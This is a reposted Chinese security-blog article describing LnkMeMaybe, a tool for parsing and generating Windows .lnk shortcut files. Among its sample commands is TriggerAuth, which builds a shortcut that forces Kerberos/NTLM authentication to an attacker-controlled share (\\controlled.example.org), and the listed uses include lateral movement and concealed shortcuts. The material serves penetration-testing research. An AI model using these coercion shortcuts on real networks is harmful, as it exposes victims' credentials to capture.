神级工具!一枚LNK文件让你的内网认证无处遁形"

admin 2026-10-22 08:00:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

神级工具!一枚 LNK 文件让你的内网认证无处遁形

棉花糖糖糖
棉花糖糖糖

棉花糖网络安全工具箱

2026年6月13日 10:38
四川

在小说阅读器读本章

去阅读

郑重声明:本文仅供安全研究与渗透测试技术交流,禁止用于任何非法途径。使用者行为与本公众号无关。

重点导读概述

LnkMeMaybe 是一款基于 .NET 8 构建的 Windows Shell Link(.lnk)文件处理工具包。核心功能覆盖 .lnk 文件的解析与生成,完整实现 MS-SHLLINK 协议规范。该工具包包含命令行生成器(LnkMeMaybe)与图形化编辑工具(LnkUi),主要服务于安全研究与渗透测试场景。

重点导读项目结构

模块 说明
Lnk/ 核心库,解析与生成 .lnk 二进制格式
LnkMeMaybe/ CLI 工具,提供多种 .lnk 生成命令
LnkUi/ Avalonia 11 MVVM 图形编辑器
LnkTests/ MSTest 测试套件

重点导读核心架构

LnkHandler 为主入口类,组合以下组件:

  • ShellLinkHeader:.lnk 文件头部,包含 LinkFlags、FileAttributes、FILETIME 等字段
  • LinkTargetIDList:Shell Item ID List,Windows 文件系统快捷方式原生格式
  • LinkInfo:网络路径关联信息
  • StringData:显示名称、工作目录等字符串数据
  • ExtraData:扩展数据块,包括环境变量块、达尔文标识块、图标路径块

重点导读CLI 命令

PART 01TriggerAuth

创建触发 Kerberos(回退至 NTLM)认证的 .lnk 文件。该文件不执行任何代码。

触发条件:

  • 用户浏览至包含 .lnk 文件的共享目录
  • .lnk 位于系统索引位置,SearchProtocolHost 以 SYSTEM 身份认证
  • MSSense 服务运行且目录未豁免,MSSense.exe 以 SYSTEM 身份认证
LnkMeMaybe.exe TriggerAuth -F C:\\Windows\
otepad.exe -S \\\\controlled.example.org -OutputPath notepad.lnk

PART 02WebShortcut

生成指向 Web URL 的 .lnk 文件。Windows 通常使用 .url 文件存储网页快捷方式,该命令以 .lnk 格式实现相同功能。

LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk

PART 03LocalShortcut

生成标准 Windows 快捷方式,目标路径以 Shell Item ID List(PIDL)格式存储。

LnkMeMaybe.exe LocalShortcut --TargetPath C:\\Windows\
otepad.exe --OutputPath notepad.lnk

PART 04EnvShortcut

生成使用环境变量字符串(EnvironmentVariableDataBlock)存储目标路径的 .lnk 文件。适用于引用系统可执行文件,变量在启动时展开。

LnkMeMaybe.exe EnvShortcut --TargetPath \"%SystemRoot%\\system32\
otepad.exe\" --OutputPath notepad.lnk

重点导读技术实现

PART 05ShellLinkHeader

固定 0x4C 字节头部,CLSID 为 00021401-0000-0000-C000-000000000046。LinkFlags 位标志控制各数据块是否存在,支持 Unicode、达尔文标识、环境变量路径等特性。

PART 06ExtraData

扩展数据块结构,支持多类数据块:

  • EnvironmentVariableDataBlock:环境变量路径
  • DarwinDataBlock:达尔文标识
  • IconEnvironmentDataBlock:图标路径
  • CustomPropertyDataBlock:自定义属性
  • KnownFolderDataBlock:已知文件夹别名

PART 07LinkInfo

网络相对链接信息,包含卷 ID、本地基路径、共享名称等字段。用于 UNC 路径快捷方式的解析与生成。

重点导读构建与运行

bashdotnet build Lnk.sln
dotnet build -c Release build.slnf
dotnet test
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj

重点导读应用场景

  • 横向移动认证触发
  • 隐蔽路径快捷方式构造
  • 跨 Windows 安装的可移植快捷方式
  • .lnk 文件格式安全研究

本公众号非项目作者,仅做技术分享。

https://github.com/trustedsec/LnkMeMaybe

广告时间

低价考证包括但不限于CISP系列、PMP等等国内网安证书、网络安全交流群请关注公众号后点菜单栏的找棉花糖。

糖心会员站,网络安全必备网站,包括在线内网靶场、web靶场、src靶场、应急响应靶场,以及各种网安资料、教程、方案模版、以及超级多在线工具,99元包年!详细介绍:棉花糖会员站介绍(26年4月26日版本) :在线内网靶场、网安资料方案、在线工具全能资源站,看完介绍百分百心动!


神级工具!一枚LNK文件让你的内网认证无处遁形" 网络安全文章

神级工具!一枚LNK文件让你的内网认证无处遁形"

LnkMeMaybe是基于.NET8开发的WindowsLNK文件处理工具包,完整实现MS-SHLLINK协议规范,支持解析和生成LNK文件。工具包含CLI生成器和图形化编辑器,提供TriggerAuth、WebShortcut等命令,可触发Kerberos/NTLM认证或创建特殊快捷方式,主要应用于内网渗透测试、横向移动和认证研究等安全场景。
记一次简单的靶机提权过程" 网络安全文章

记一次简单的靶机提权过程"

本文记录了一次完整的靶机渗透测试过程,从端口扫描发现Drupal7.54系统开始,通过信息收集获得账号密码,利用CVE-2018-7600漏洞获取初始权限,最后使用DirtyCow提权漏洞成功获取root权限。文章详细展示了渗透测试各阶段的具体操作命令和方法,具有较高的实战参考价值。
人工智能优先的专业军事教育:在杀戮链之前验证等级链" 网络安全文章

人工智能优先的专业军事教育:在杀戮链之前验证等级链"

本文主张在专业军事教育(PME)中采用`AI优先`策略,提出应先在低风险的`等级链`(如学生论文评分)中验证AI辅助决策的可靠性,再应用于高风险的`杀戮链`。通过AI评分助理案例研究,展示了AI如何提升评分一致性、识别评估标准缺陷,并建议PME成为AI工具官方测试中心,通过人机协作增强决策质量。
【蓝军译粹】无人载具运用于化学兵部队之探讨" 网络安全文章

【蓝军译粹】无人载具运用于化学兵部队之探讨"

本文探讨了无人载具在化学兵部队中的应用,分析了当前防化部队在侦察、洗消和烟幕作业中面临的人员风险与效能限制,并提出通过引入人机协同模式、采用通用化模块化无人平台、构建立体侦察网、实现自动化洗消和智能发烟系统来提升作战效能与人员安全。
评论:0   参与:  0